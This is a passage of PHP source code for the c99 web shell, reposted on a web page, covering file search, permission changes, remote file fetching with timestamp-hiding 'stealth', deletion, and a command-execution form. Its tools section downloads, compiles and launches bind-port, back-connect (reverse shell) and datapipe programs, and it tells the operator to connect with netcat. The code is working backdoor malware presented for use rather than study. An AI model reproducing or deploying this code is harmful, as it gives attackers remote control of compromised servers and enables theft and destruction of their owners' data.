<p>We understand languages: English, Russian.</p>
<p><input type=\"submit\" name=\"submit\" value=\"Send\"></form>
<p>";}<br />
}<br />
if ($act == "search")<br />
{<br />
 echo "<b>Search in file-system:</b><br />";<br />
 if (empty($search_in)) {$search_in = $d;}<br />
 if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}<br />
 if (empty($search_text_wwo)) {$search_text_regexp = 0;}<br />
 if (!empty($submit))<br />
 {<br />
  $found = array();<br />
  $found_d = 0;<br />
  $found_f = 0;<br />
  $search_i_f = 0;<br />
  $search_i_d = 0;<br />
  $a = array<br />
  (<br />
   "name"=>$search_name, "name_regexp"=>$search_name_regexp,<br />
   "text"=>$search_text, "text_regexp"=>$search_text_regxp,<br />
   "text_wwo"=>$search_text_wwo,<br />
   "text_cs"=>$search_text_cs,<br />
   "text_not"=>$search_text_not<br />
  );<br />
  $searchtime = getmicrotime();<br />
  $in = array_unique(explode(";",$search_in));<br />
  foreach($in as $v) {c99fsearch($v);}<br />
  $searchtime = round(getmicrotime()-$searchtime,4);<br />
  if (count($found) == 0) {echo "<b>No files found!</b>";}<br />
  else<br />
  {<br />
   $ls_arr = $found;<br />
   $disp_fullpath = TRUE;<br />
   $act = "ls";<br />
  }<br />
 }<br />
 echo "<br />
<form method=POST>
<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\"><br />
<b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp<br />
<br /><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"></p>
<p><b>Text:</b><br /><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea></p>
<p><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp<br />
&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only<br />
&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive<br />
&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text</p>
<p><input type=submit name=submit value=\"Search\"></form>
<p>";<br />
 if ($act == "ls") {$dspact = $act; echo "<br />
<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b></p>
<p>";}<br />
}<br />
if ($act == "chmod")<br />
{<br />
 $mode = fileperms($d.$f);<br />
 if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";}<br />
 else<br />
 {<br />
  $form = TRUE;<br />
  if ($chmod_submit)<br />
  {<br />
   $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);<br />
   if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";}<br />
   else {$err = "Can't chmod to ".$octet.".";}<br />
  }<br />
  if ($form)<br />
  {<br />
   $perms = parse_perms($mode);<br />
   echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br />".($err?"<b>Error:</b> ".$err:"")."<br />
<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><br />
<table align=left width=300 border=0 cellspacing=0 cellpadding=5>
<tr>
<td><b>Owner</b></p>
<p><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br /><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br /><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td>
<td><b>Group</b></p>
<p><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br /><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br /><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td>
<td><b>World</b></p>
<p><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br /><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br /><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td>
</tr>
<tr>
<td><input type=submit name=chmod_submit value=\"Save\"></td>
</tr>
</table>
</form>
<p>";<br />
  }<br />
 }<br />
}<br />
if ($act == "upload")<br />
{<br />
 $uploadmess = "";<br />
 $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath);<br />
 if (empty($uploadpath)) {$uploadpath = $d;}<br />
 elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";}<br />
 if (!empty($submit))<br />
 {<br />
  global $HTTP_POST_FILES;<br />
  $uploadfile = $HTTP_POST_FILES["uploadfile"];<br />
  if (!empty($uploadfile["tmp_name"]))<br />
  {<br />
   if (empty($uploadfilename)) {$destin = $uploadfile["name"];}<br />
   else {$destin = $userfilename;}<br />
   if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br />";}<br />
  }<br />
  elseif (!empty($uploadurl))<br />
  {<br />
   if (!empty($uploadfilename)) {$destin = $uploadfilename;}<br />
   else<br />
   {<br />
    $destin = explode("/",$destin);<br />
    $destin = $destin[count($destin)-1];<br />
    if (empty($destin))<br />
    {<br />
     $i = 0;<br />
     $b = "";<br />
     while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}}<br />
   }<br />
   if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br />";}<br />
   else<br />
   {<br />
    $st = getmicrotime();<br />
    $content = @file_get_contents($uploadurl);<br />
    $dt = round(getmicrotime()-$st,4);<br />
    if (!$content) {$uploadmess .=  "Can't download file!<br />";}<br />
    else<br />
    {<br />
     if ($filestealth) {$stat = stat($uploadpath.$destin);}<br />
     $fp = fopen($uploadpath.$destin,"w");<br />
     if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br />";}<br />
     else<br />
     {<br />
      fwrite($fp,$content,strlen($content));<br />
      fclose($fp);<br />
      if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}<br />
     }<br />
    }<br />
   }<br />
  }<br />
 }<br />
 if ($miniform)<br />
 {<br />
  echo "<b>".$uploadmess."</b>";<br />
  $act = "ls";<br />
 }<br />
 else<br />
 {<br />
  echo "<b>File upload:</b><br /><b>".$uploadmess."</b><br />
<form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&#038;d=".urlencode($d)."\" method=POST>
Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or<br />
Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"></p>
<p>Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"></p>
<p>File-name (auto-fill): <input name=uploadfilename size=25></p>
<p><input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;convert file name to lovercase</p>
<p><input type=submit name=submit value=\"Upload\"><br />
</form>
<p>";<br />
 }<br />
}<br />
if ($act == "delete")<br />
{<br />
 $delerr = "";<br />
 foreach ($actbox as $v)<br />
 {<br />
  $result = FALSE;<br />
  $result = fs_rmobj($v);<br />
  if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br />";}<br />
 }<br />
 if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br />".$delerr;}<br />
 $act = "ls";<br />
}<br />
if (!$usefsbuff)<br />
{<br />
 if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";}<br />
}<br />
else<br />
{<br />
 if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; }<br />
 elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";}<br />
 elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";}<br />
 if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);}<br />
 elseif ($actpastebuff)<br />
 {<br />
  $psterr = "";<br />
  foreach($sess_data["copy"] as $k=>$v)<br />
  {<br />
   $to = $d.basename($v);<br />
   if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br />";}<br />
   if ($copy_unset) {unset($sess_data["copy"][$k]);}<br />
  }<br />
  foreach($sess_data["cut"] as $k=>$v)<br />
  {<br />
   $to = $d.basename($v);<br />
   if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br />";}<br />
   unset($sess_data["cut"][$k]);<br />
  }<br />
  c99_sess_put($sess_data);<br />
  if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br />".$psterr;}<br />
  $act = "ls";<br />
 }<br />
 elseif ($actarcbuff)<br />
 {<br />
  $arcerr = "";<br />
  if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}<br />
  else {$ext = ".tar.gz";}<br />
  if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}<br />
  $cmdline .= " ".$actarcbuff_path;<br />
  $objects = array_merge($sess_data["copy"],$sess_data["cut"]);<br />
  foreach($objects as $v)<br />
  {<br />
   $v = str_replace("\\",DIRECTORY_SEPARATOR,$v);<br />
   if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}<br />
   if (is_dir($v))<br />
   {<br />
    if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}<br />
    $v .= "*";<br />
   }<br />
   $cmdline .= " ".$v;<br />
  }<br />
  $tmp = realpath(".");<br />
  chdir($d);<br />
  $ret = myshellexec($cmdline);<br />
  chdir($tmp);<br />
  if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br />";}<br />
  $ret = str_replace("\r\n","\n",$ret);<br />
  $ret = explode("\n",$ret);<br />
  if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}<br />
  foreach($sess_data["cut"] as $k=>$v)<br />
  {<br />
   if (in_array($v,$ret)) {fs_rmobj($v);}<br />
   unset($sess_data["cut"][$k]);<br />
  }<br />
  c99_sess_put($sess_data);<br />
  if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br />".$arcerr;}<br />
  $act = "ls";<br />
 }<br />
 elseif ($actpastebuff)<br />
 {<br />
  $psterr = "";<br />
  foreach($sess_data["copy"] as $k=>$v)<br />
  {<br />
   $to = $d.basename($v);<br />
   if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br />";}<br />
   if ($copy_unset) {unset($sess_data["copy"][$k]);}<br />
  }<br />
  foreach($sess_data["cut"] as $k=>$v)<br />
  {<br />
   $to = $d.basename($v);<br />
   if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br />";}<br />
   unset($sess_data["cut"][$k]);<br />
  }<br />
  c99_sess_put($sess_data);<br />
  if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br />".$psterr;}<br />
  $act = "ls";<br />
 }<br />
}<br />
if ($act == "cmd")<br />
{<br />
if (trim($cmd) == "ps -aux") {$act = "processes";}<br />
elseif (trim($cmd) == "tasklist") {$act = "processes";}<br />
else<br />
{<br />
 @chdir($chdir);<br />
 if (!empty($submit))<br />
 {<br />
  echo "<b>Result of execution this command</b>:<br />";<br />
  $olddir = realpath(".");<br />
  @chdir($d);<br />
  $ret = myshellexec($cmd);<br />
  $ret = convert_cyr_string($ret,"d","w");<br />
  if ($cmd_txt)<br />
  {<br />
   $rows = count(explode("\r\n",$ret))+1;<br />
   if ($rows < 10) {$rows = 10;}<br />
   echo "<br /><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";<br />
  }<br />
  else {echo $ret."<br />";}<br />
  @chdir($olddir);<br />
 }<br />
 else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}}<br />
 echo "<br />
<form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"></p>
<p><input type=submit name=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>
<p>";<br />
}<br />
}<br />
if ($act == "ls")<br />
{<br />
 if (count($ls_arr) > 0) {$list = $ls_arr;}<br />
 else<br />
 {<br />
  $list = array();<br />
  if ($h = @opendir($d))<br />
  {<br />
   while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}<br />
   closedir($h);<br />
  }<br />
  else {}<br />
 }<br />
 if (count($list) == 0) {echo "<center><b>Can't open folder (".htmlspecialchars($d).")!</b></center>";}<br />
 else<br />
 {<br />
  //Building array<br />
  $objects = array();<br />
  $vd = "f"; //Viewing mode<br />
  if ($vd == "f")<br />
  {<br />
   $objects["head"] = array();<br />
   $objects["folders"] = array();<br />
   $objects["links"] = array();<br />
   $objects["files"] = array();<br />
   foreach ($list as $v)<br />
   {<br />
    $o = basename($v);<br />
    $row = array();<br />
    if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";}<br />
    elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";}<br />
    elseif (is_dir($v))<br />
    {<br />
     if (is_link($v)) {$type = "LINK";}<br />
     else {$type = "DIR";}<br />
     $row[] = $v;<br />
     $row[] = $type;<br />
    }<br />
    elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}<br />
    $row[] = filemtime($v);<br />
    if (!$win)<br />
    {<br />
     $ow = posix_getpwuid(fileowner($v));<br />
     $gr = posix_getgrgid(filegroup($v));<br />
     $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));<br />
    }<br />
    $row[] = fileperms($v);<br />
    if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}<br />
    elseif (is_link($v)) {$objects["links"][] = $row;}<br />
    elseif (is_dir($v)) {$objects["folders"][] = $row;}<br />
    elseif (is_file($v)) {$objects["files"][] = $row;}<br />
    $i++;<br />
   }<br />
   $row = array();<br />
   $row[] = "<b>Name</b>";<br />
   $row[] = "<b>Size</b>";<br />
   $row[] = "<b>Modify</b>";<br />
   if (!$win)<br />
  {$row[] = "<b>Owner/Group</b>";}<br />
   $row[] = "<b>Perms</b>";<br />
   $row[] = "<b>Action</b>";<br />
   $parsesort = parsesort($sort);<br />
   $sort = $parsesort[0].$parsesort[1];<br />
   $k = $parsesort[0];<br />
   if ($parsesort[1] != "a") {$parsesort[1] = "d";}<br />
   $y = "<a href=\"".$surl."act=".$dspact."&#038;d=".urlencode($d)."&#038;sort=".$k.($parsesort[1] == "a"?"d":"a")."\">";<br />
   $y .= "<img src=\"".$surl."act=img&#038;img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>";<br />
   $row[$k] .= $y;<br />
   for($i=0;$i<count($row)-1;$i++)<br />
   {<br />
    if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&#038;d=".urlencode($d)."&#038;sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";}<br />
   }<br />
   $v = $parsesort[0];<br />
   usort($objects["folders"], "tabsort");<br />
   usort($objects["links"], "tabsort");<br />
   usort($objects["files"], "tabsort");<br />
   if ($parsesort[1] == "d")<br />
   {<br />
    $objects["folders"] = array_reverse($objects["folders"]);<br />
    $objects["files"] = array_reverse($objects["files"]);<br />
   }<br />
   $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);<br />
   $tab = array();<br />
   $tab["cols"] = array($row);<br />
   $tab["head"] = array();<br />
   $tab["folders"] = array();<br />
   $tab["links"] = array();<br />
   $tab["files"] = array();<br />
   $i = 0;<br />
   foreach ($objects as $a)<br />
   {<br />
    $v = $a[0];<br />
    $o = basename($v);<br />
    $dir = dirname($v);<br />
    if ($disp_fullpath) {$disppath = $v;}<br />
    else {$disppath = $o;}<br />
    $disppath = str2mini($disppath,60);<br />
    if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";}<br />
    elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";}<br />
    foreach ($regxp_highlight as $r)<br />
    {<br />
     if (ereg($r[0],$o))<br />
     {<br />
      if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c99shexit();}<br />
      else<br />
      {<br />
       $r[1] = round($r[1]);<br />
       $isdir = is_dir($v);<br />
       if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir))<br />
       {<br />
        if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}<br />
        $disppath = $r[2].$disppath.$r[3];<br />
        if ($r[4]) {break;}<br />
       }<br />
      }<br />
     }<br />
    }<br />
    $uo = urlencode($o);<br />
    $ud = urlencode($dir);<br />
    $uv = urlencode($v);<br />
    $row = array();<br />
    if ($o == ".")<br />
    {<br />
     $row[] = "<img src=\"".$surl."act=img&#038;img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&#038;d=".urlencode(realpath($d.$o))."&#038;sort=".$sort."\">".$o."</a>";<br />
     $row[] = "LINK";<br />
    }<br />
    elseif ($o == "..")<br />
    {<br />
     $row[] = "<img src=\"".$surl."act=img&#038;img=ext_lnk\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&#038;d=".urlencode(realpath($d.$o))."&#038;sort=".$sort."\">".$o."</a>";<br />
     $row[] = "LINK";<br />
    }<br />
    elseif (is_dir($v))<br />
    {<br />
     if (is_link($v))<br />
     {<br />
      $disppath .= " => ".readlink($v);<br />
      $type = "LINK";<br />
      $row[] =  "<img src=\"".$surl."act=img&#038;img=ext_lnk\" height=\"16\" width=\"16\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&#038;d=".$uv."&#038;sort=".$sort."\">[".$disppath."]</a>";<br />
     }<br />
     else<br />
     {<br />
      $type = "DIR";<br />
      $row[] =  "<img src=\"".$surl."act=img&#038;img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&#038;d=".$uv."&#038;sort=".$sort."\">[".$disppath."]</a>";<br />
      }<br />
     $row[] = $type;<br />
    }<br />
    elseif(is_file($v))<br />
    {<br />
     $ext = explode(".",$o);<br />
     $c = count($ext)-1;<br />
     $ext = $ext[$c];<br />
     $ext = strtolower($ext);<br />
     $row[] =  "<img src=\"".$surl."act=img&#038;img=ext_".$ext."\" border=\"0\">&nbsp;<a href=\"".$surl."act=f&#038;f=".$uo."&#038;d=".$ud."&#038;\">".$disppath."</a>";<br />
     $row[] = view_size($a[1]);<br />
    }<br />
    $row[] = date("d.m.Y H:i:s",$a[2]);<br />
    if (!$win) {$row[] = $a[3];}<br />
    $row[] = "<a href=\"".$surl."act=chmod&#038;f=".$uo."&#038;d=".$ud."\"><b>".view_perms_color($v)."</b></a>";<br />
    if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;}<br />
    else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";}<br />
    if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&#038;d=".$uv."\"><img src=\"".$surl."act=img&#038;img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;".$checkbox;}<br />
    else {$row[] = "<a href=\"".$surl."act=f&#038;f=".$uo."&#038;ft=info&#038;d=".$ud."\"><img src=\"".$surl."act=img&#038;img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&#038;f=".$uo."&#038;ft=edit&#038;d=".$ud."\"><img src=\"".$surl."act=img&#038;img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&#038;f=".$uo."&#038;ft=download&#038;d=".$ud."\"><img src=\"".$surl."act=img&#038;img=download\" alt=\"Download\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;".$checkbox;}<br />
    if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}<br />
    elseif (is_link($v)) {$tab["links"][] = $row;}<br />
    elseif (is_dir($v)) {$tab["folders"][] = $row;}<br />
    elseif (is_file($v)) {$tab["files"][] = $row;}<br />
    $i++;<br />
   }<br />
  }<br />
  // Compiling table<br />
  $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);<br />
  echo "<center><b>Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):</b></center><br /><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#433333 border=0><br />
<form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">";<br />
  foreach($table as $row)<br />
  {<br />
   echo "<br />
<tr>\r\n";<br />
   foreach($row as $v) {echo "
<td>".$v."</td>
<p>\r\n";}<br />
   echo "</tr>
<p>\r\n";<br />
  }<br />
  echo "</table>
<hr size=\"1\" noshade>
<p align=\"right\">
  <script>
  function ls_setcheckboxall(status)
  {
   var id = 1;
   var num = ".(count($table)-2).";
   while (id <= num)
   {
    document.getElementById('actbox'+id).checked = status;
    id++;
   }
  }
  function ls_reverse_all()
  {
   var id = 1;
   var num = ".(count($table)-2).";
   while (id <= num)
   {
    document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked;
    id++;
   }
  }
  </script><br />
  <input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\"><br />
  <b><img src=\"".$surl."act=img&#038;img=arrow_ltr\" border=\"0\">";<br />
  if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff))<br />
  {<br />
   echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";<br />
  }<br />
  echo "<br />
<select name=act>
<option value=\"".$act."\">With selected:</option>
<p>";<br />
  echo "<br />
<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>
<p>";<br />
  echo "<br />
<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>
<p>";<br />
  if ($usefsbuff)<br />
  {<br />
   echo "<br />
<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>
<p>";<br />
   echo "<br />
<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>
<p>";<br />
   echo "<br />
<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>
<p>";<br />
  }<br />
  echo "</select>
<p>&nbsp;<input type=submit value=\"Confirm\"></p>
<p>";<br />
  echo "</p></form>
<p>";<br />
 }<br />
}<br />
if ($act == "tools")<br />
{<br />
 $bndportsrcs = array(<br />
  "c99sh_bindport.pl"=>array("Using PERL","perl %path %port"),<br />
  "c99sh_bindport.c"=>array("Using C","%path %port %pass")<br />
 );<br />
 $bcsrcs = array(<br />
  "c99sh_backconn.pl"=>array("Using PERL","perl %path %host %port"),<br />
  "c99sh_backconn.c"=>array("Using C","%path %host %port")<br />
 );<br />
 $dpsrcs = array(<br />
  "c99sh_datapipe.pl"=>array("Using PERL","perl %path %localport %remotehost %remoteport"),<br />
  "c99sh_datapipe.c"=>array("Using C","%path %localport %remoteport %remotehost")<br />
 );<br />
 if (!is_array($bind)) {$bind = array();}<br />
 if (!is_array($bc)) {$bc = array();}<br />
 if (!is_array($datapipe)) {$datapipe = array();}</p>
<p> if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;}<br />
 if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;}</p>
<p> if (empty($bc["host"])) {$bc["host"] = getenv("REMOTE_ADDR");}<br />
 if (!is_numeric($bc["port"])) {$bc["port"] = $bc_port;}</p>
<p> if (empty($datapipe["remoteaddr"])) {$datapipe["remoteaddr"] = "irc.dalnet.ru:6667";}<br />
 if (!is_numeric($datapipe["localport"])) {$datapipe["localport"] = $datapipe_localport;}<br />
 if (!empty($bindsubmit))<br />
 {<br />
  echo "<b>Result of binding port:</b><br />";<br />
  $v = $bndportsrcs[$bind["src"]];<br />
  if (empty($v)) {echo "Unknown file!<br />";}<br />
  elseif (fsockopen(getenv("SERVER_ADDR"),$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br />";}<br />
  else<br />
  {<br />
   $w = explode(".",$bind["src"]);<br />
   $ext = $w[count($w)-1];<br />
   unset($w[count($w)-1]);<br />
   $srcpath = join(".",$w).".".rand(0,999).".".$ext;<br />
   $binpath = $tmpdir.join(".",$w).rand(0,999);<br />
   if ($ext == "pl") {$binpath = $srcpath;}<br />
   @unlink($srcpath);<br />
   $fp = fopen($srcpath,"ab+");<br />
   if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br />";}<br />
   elseif (!$data = c99getsource($bind["src"])) {echo "Can't download sources!";}<br />
   else<br />
   {<br />
    fwrite($fp,$data,strlen($data));<br />
    fclose($fp);<br />
    if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath);  @unlink($srcpath);}<br />
    $v[1] = str_replace("%path",$binpath,$v[1]);<br />
    $v[1] = str_replace("%port",$bind["port"],$v[1]);<br />
    $v[1] = str_replace("%pass",$bind["pass"],$v[1]);<br />
    $v[1] = str_replace("//","/",$v[1]);<br />
    $retbind = myshellexec($v[1]." > /dev/null &#038;");<br />
    sleep(5);<br />
    $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5);<br />
    if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";}<br />
    else {echo "Binding... ok! Connect to <b>".getenv("SERVER_ADDR").":".$bind["port"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&#038;grep=".basename($binpath)."\"><u>View binder's process</u></a></center>";}<br />
   }<br />
   echo "<br />";<br />
  }<br />
 }<br />
 if (!empty($bcsubmit))<br />
 {<br />
  echo "<b>Result of back connection:</b><br />";<br />
  $v = $bcsrcs[$bc["src"]];<br />
  if (empty($v)) {echo "Unknown file!<br />";}<br />
  else<br />
  {<br />
   $w = explode(".",$bc["src"]);<br />
   $ext = $w[count($w)-1];<br />
   unset($w[count($w)-1]);<br />
   $srcpath = join(".",$w).".".rand(0,999).".".$ext;<br />
   $binpath = $tmpdir.join(".",$w).rand(0,999);<br />
   if ($ext == "pl") {$binpath = $srcpath;}<br />
   @unlink($srcpath);<br />
   $fp = fopen($srcpath,"ab+");<br />
   if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br />";}<br />
   elseif (!$data = c99getsource($bc["src"])) {echo "Can't download sources!";}<br />
   else<br />
   {<br />
    fwrite($fp,$data,strlen($data));<br />
    fclose($fp);<br />
    if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}<br />
    $v[1] = str_replace("%path",$binpath,$v[1]);<br />
